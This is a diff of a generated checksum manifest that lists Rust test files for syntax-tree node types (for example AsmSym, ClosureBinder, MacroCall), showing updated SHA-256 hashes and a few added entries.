+AsmOperandNamed/gen_asm_operand_named.rs ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 +AsmOption/gen_asm_option.rs 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 +AsmOptionsList/gen_asm_options_list.rs 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 +AsmRegOperand/gen_asm_reg_operand.rs 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 +AsmRegSpec/gen_asm_reg_spec.rs 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 +AsmSym/gen_asm_sym.rs 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 +AssocTypeArg/gen_assoc_type_arg.rs 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 +Attr/gen_attr.rs ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 AwaitExpr/gen_await_expr.rs cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 BecomeExpr/gen_become_expr.rs ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c BinaryExpr/gen_binary_expr.rs 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 @@ -14,24 +25,24 @@ BoxPat/gen_box_pat.rs 1493e24b732370b577ade38c47db17fa157df19f5390606a67a6040e49 BreakExpr/gen_break_expr.rs aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 CallExpr/gen_call_expr.rs 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 CastExpr/gen_cast_expr.rs c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 -ClosureBinder/gen_closure_binder.rs 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 +ClosureBinder/gen_closure_binder.rs 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 ClosureExpr/gen_closure_expr.rs 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 Comment/gen_comment.rs 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 -Const/gen_const.rs fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 -ConstArg/gen_const_arg.rs feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c +Const/gen_const.rs a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f +ConstArg/gen_const_arg.rs 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e ConstBlockPat/gen_const_block_pat.rs 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd -ConstParam/gen_const_param.rs f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 +ConstParam/gen_const_param.rs 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a ContinueExpr/gen_continue_expr.rs 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff -DynTraitTypeRepr/gen_dyn_trait_type_repr.rs ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de -Enum/gen_enum.rs efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 +DynTraitTypeRepr/gen_dyn_trait_type_repr.rs 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd +Enum/gen_enum.rs 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa ExprStmt/gen_expr_stmt.rs 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 -ExternBlock/gen_extern_block.rs 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d -ExternCrate/gen_extern_crate.rs 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 -ExternItemList/gen_extern_item_list.rs ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf +ExternBlock/gen_extern_block.rs 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 +ExternCrate/gen_extern_crate.rs 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d +ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b -FnPtrTypeRepr/gen_fn_ptr_type_repr.rs 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 -ForExpr/gen_for_expr.rs 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d -ForTypeRepr/gen_for_type_repr.rs 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 +FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e +ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 +ForTypeRepr/gen_for_type_repr.rs 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 86f2f11f399d8072add3d3109a186d82d95d141660b18986bce738b7e9ec81a2 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -41,103 +52,105 @@ GenericArgList/gen_generic_arg_list.rs cfb072d3b48f9dd568c23d4dfefba28766628678f GenericParamList/gen_generic_param_list.rs 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a IdentPat/gen_ident_pat.rs 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 IfExpr/gen_if_expr.rs 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 -Impl/gen_impl.rs dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed -ImplTraitTypeRepr/gen_impl_trait_type_repr.rs 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 +Impl/gen_impl.rs cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd +ImplTraitTypeRepr/gen_impl_trait_type_repr.rs ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 IndexExpr/gen_index_expr.rs 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 -InferTypeRepr/gen_infer_type_repr.rs 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 -ItemList/gen_item_list.rs 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 +InferTypeRepr/gen_infer_type_repr.rs cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 +ItemList/gen_item_list.rs 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e Label/gen_label.rs 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c -LetElse/gen_let_else.rs 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 +LetElse/gen_let_else.rs 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c LetExpr/gen_let_expr.rs 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 LetStmt/gen_let_stmt.rs 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb -Lifetime/gen_lifetime.rs 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 -LifetimeArg/gen_lifetime_arg.rs 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de -LifetimeParam/gen_lifetime_param.rs 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c +Lifetime/gen_lifetime.rs afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 +LifetimeArg/gen_lifetime_arg.rs 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 +LifetimeParam/gen_lifetime_param.rs e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b -MacroCall/gen_macro_call.rs 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 -MacroDef/gen_macro_def.rs 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 -MacroExpr/gen_macro_expr.rs 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb +MacroCall/gen_macro_call.rs c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 c30added613d9edb3cb1321ae46fc6a088a2f22d2cc979119466ec02f6e09ed6 +MacroDef/gen_macro_def.rs 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 +MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 -MacroPat/gen_macro_pat.rs b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 -MacroRules/gen_macro_rules.rs 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 -MacroTypeRepr/gen_macro_type_repr.rs 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df +MacroPat/gen_macro_pat.rs 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a 6bc63338397e6ef322a1824ce7d8fa68629a81c740f6e1d5347642501c83683a +MacroRules/gen_macro_rules.rs 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 +MacroTypeRepr/gen_macro_type_repr.rs cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 cdb9670dde8b2a71256bc8d4acb1d63bd726cb49ee486ca2dbf1952884fd9c37 MatchArm/gen_match_arm.rs ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 -MatchArmList/gen_match_arm_list.rs dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 +MatchArmList/gen_match_arm_list.rs 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 MatchExpr/gen_match_expr.rs 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 -MatchGuard/gen_match_guard.rs d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff -Meta/gen_meta.rs e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 +MatchGuard/gen_match_guard.rs f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a +Meta/gen_meta.rs 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 39172a1f7dd02fa3149e7a1fc1dc1f135aa87c84057ee721cd9b373517042b25 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 815605a604fea1d9276684f8d6738a4e833eacad57ceeb27e2095fc450264fc1 -Name/gen_name.rs bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff bbf5cff7da2400de554712ed66ff1e6370170ba988209b4e346bc053421df1ff -NameRef/gen_name_ref.rs 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 41307c2f7ca82d28217129639e556bd4c91221cf3a4170250b313fd53b9e3f82 -NeverTypeRepr/gen_never_type_repr.rs b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 b9bf7cc4df2e5be4e85c0701b94ec189080db1dbc6e2c9ef0480c7f2f4b0fc17 +Name/gen_name.rs 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 8a7fe65ee632a47d12eaa313e7248ac9210e5a381e9522499ca68f94c39e72c0 +NameRef/gen_name_ref.rs c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 c8c922e77a7d62b8272359ccdabbf7e15411f31ca85f15a3afdd94bec7ec64e7 +NeverTypeRepr/gen_never_type_repr.rs cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 cc7d1c861eaf89772109f142815839976f25f89956ed1b11822df5e7e333d6d4 OffsetOfExpr/gen_offset_of_expr.rs 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 8e2077b4d7b85c91c17c3630511bc4f929950e9007261cbf0471c4a064c4b934 OrPat/gen_or_pat.rs 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 71feef6e056bfe4cc8c22c9eb54fa3fecef613606769061d0efd059adbbd6f56 Param/gen_param.rs 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 39f3979d6cb10e4c43e0b5601af2a92b7520a75a104211955bbbb5e6f13e9db9 -ParamList/gen_param_list.rs ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 ef2e83d0aed45b969fe78dd717e87ef3c1f848e6179cfb4dc3cb136f1836b998 -ParenExpr/gen_paren_expr.rs dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea dd0c4a21a92e54e8a6151145e013cbec9c9e1cad093d572e293b4f51d6c44aea -ParenPat/gen_paren_pat.rs c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e c8d18521b9a0b7d39841eb72e3895914aa652b7235dea42ed12a4eb280e3bf0e -ParenTypeRepr/gen_paren_type_repr.rs 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 360a9415390ab572cb10015603537823cc0451bb94ef487d04bbfd7d523bee95 +ParamList/gen_param_list.rs a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd a842001c434b9716a131a77b5ec78ee5dd911ef7c42d22bf5e7bdac24c9a20bd +ParenExpr/gen_paren_expr.rs caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 caaf419c59d65ca911479dea7d62756a55593b3da65b02942a36abd975389f29 +ParenPat/gen_paren_pat.rs 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 47a0c5b6ec3e51452c2c2e6882ed98aca9891b08246ec231484df8d226985212 +ParenTypeRepr/gen_paren_type_repr.rs 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 28194256a3d7bdcc49283f4be5e3ad3efb0ea2996126abed2a76c6cd9954c879 +ParenthesizedArgList/gen_parenthesized_arg_list.rs 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 161083eb292e1d70ca97b5afda8e27bc96db95678b39cb680de638ac0e49be72 Path/gen_path.rs 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 490268d6bfb1635883b8bdefc683d59c4dd0e9c7f86c2e55954661efb3ab0253 Path/gen_path_expr.rs dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd dcc9cc16cafff0e2225c1853a91612d3f666016c53fcb4ab5716ed31a33a41cd Path/gen_path_pat.rs fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 fd7f941f8b33f19d3693be1fdb595c2fb2e85e8296702b82bf12bcd44632f371 -Path/gen_path_type_repr.rs 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b 0cff40a38cf0201b70230ac3f1863728c0fa5f7099651fc437ae02824d12655b +Path/gen_path_type_repr.rs 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d 2a59f36d62a8a6e0e2caacd2b7a78943ddb48af2bb2d82b0e63b387ec24e052d PrefixExpr/gen_prefix_expr.rs c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab c4b53e87f370713b9a9e257be26d082b0761497bac19b1d7401a31b22b30d1ab -PtrTypeRepr/gen_ptr_type_repr.rs 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 290d64a8ab4e8946b2e37496e7d2837529135e99b61cfb16a98c00f4d6ff8679 +PtrTypeRepr/gen_ptr_type_repr.rs b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd b833d2a02add897c53ad5f0d436e1f5fa8919809592e1ded56b0c1c99b8344bd RangeExpr/gen_range_expr.rs 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 3f27cff9cc76b2703beff622d1453b84121e1970a869e45f9428deac92c4ecb0 RangePat/gen_range_pat.rs 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 18b5169c3ab9230c95d86c4897f8343b2176d9602c9ea371c70c1eb0dbf89a28 RefExpr/gen_ref_expr.rs 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 82695467551def4a00c78aa1ea6a1460e9edbef7df2672f13daccb0ee5d6b4c6 RefPat/gen_ref_pat.rs aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 aba7518649d9a37928e59a40d42f76cc0f4735e8daf711a3def6d2f0520e1f54 -RefTypeRepr/gen_ref_type_repr.rs 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea 39a79cf148b7ee30e23a12c9349854dbe83aee1790153a388c43ff749907f8ea -Rename/gen_rename.rs 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc 553c16f243d1ae3b6b28510d39436c83425944e5085171c18e0a2aa40deb74fc -RestPat/gen_rest_pat.rs e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca e762bf7537225f97da751c5dca6a2cd3836ad7579b68c748b8c6cba65087acca -RetTypeRepr/gen_ret_type_repr.rs 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 25edbd60ad63ab4266f6426ef50f1dd17e24132f5a24404d240a3f07daef6a31 +RefTypeRepr/gen_ref_type_repr.rs cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb cf7b32d64550cd0b5033869b841089c1de292a1b25d3bd44c63ef9a265b9c8fb +Rename/gen_rename.rs 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a 05957dd5c7a0971223a485207ef3e98b0408a3e765cfb1fd6237bcc21c89f21a +RestPat/gen_rest_pat.rs e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 e9c977c8d3fce1d931abdfc025444e3e883468927f784ad1791670cace736aa7 +RetTypeRepr/gen_ret_type_repr.rs 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc 9db86003c7a4d91aa13fbc8220559bea6a05221c38c3f3ac0e03c6ac790aebcc ReturnExpr/gen_return_expr.rs 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f 4f6ef29d7b3c60d6d71d1a6034a0721671f517428ba21897361a92b01009d38f -ReturnTypeSyntax/gen_return_type_syntax.rs 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 0b11a4cc400f9a2001996f99d61391bdb636e8aea036f587cf18ad6a957fe496 +ReturnTypeSyntax/gen_return_type_syntax.rs 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 648ce343023e7f80c445fada390870c5498add7fdf63dc82a800f6a77b7e7026 SelfParam/gen_self_param.rs 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 15491f86a32020c9ed3ecadc08c945ed01916b63683f95d2f5c1bedb4f3f01f2 SlicePat/gen_slice_pat.rs df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 df4a6692f5100aa11dd777561400ce71e37b85f2363b0638c21975a1771b15d5 -SliceTypeRepr/gen_slice_type_repr.rs e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 e50c142b7cf7bc3040ad64f351488557323d0b2fd5d004b41ed0fa8e522b5648 -SourceFile/gen_source_file.rs a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df a7a1d4fa77b53adb6fbc031bf7ab49cf7c8787728ba0a687c348b5eefbb5b9df -Static/gen_static.rs ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 ff01782c2f0f702373fc6df45ac9277fbdd8d4fad69dbe5f984a14790a46e7b9 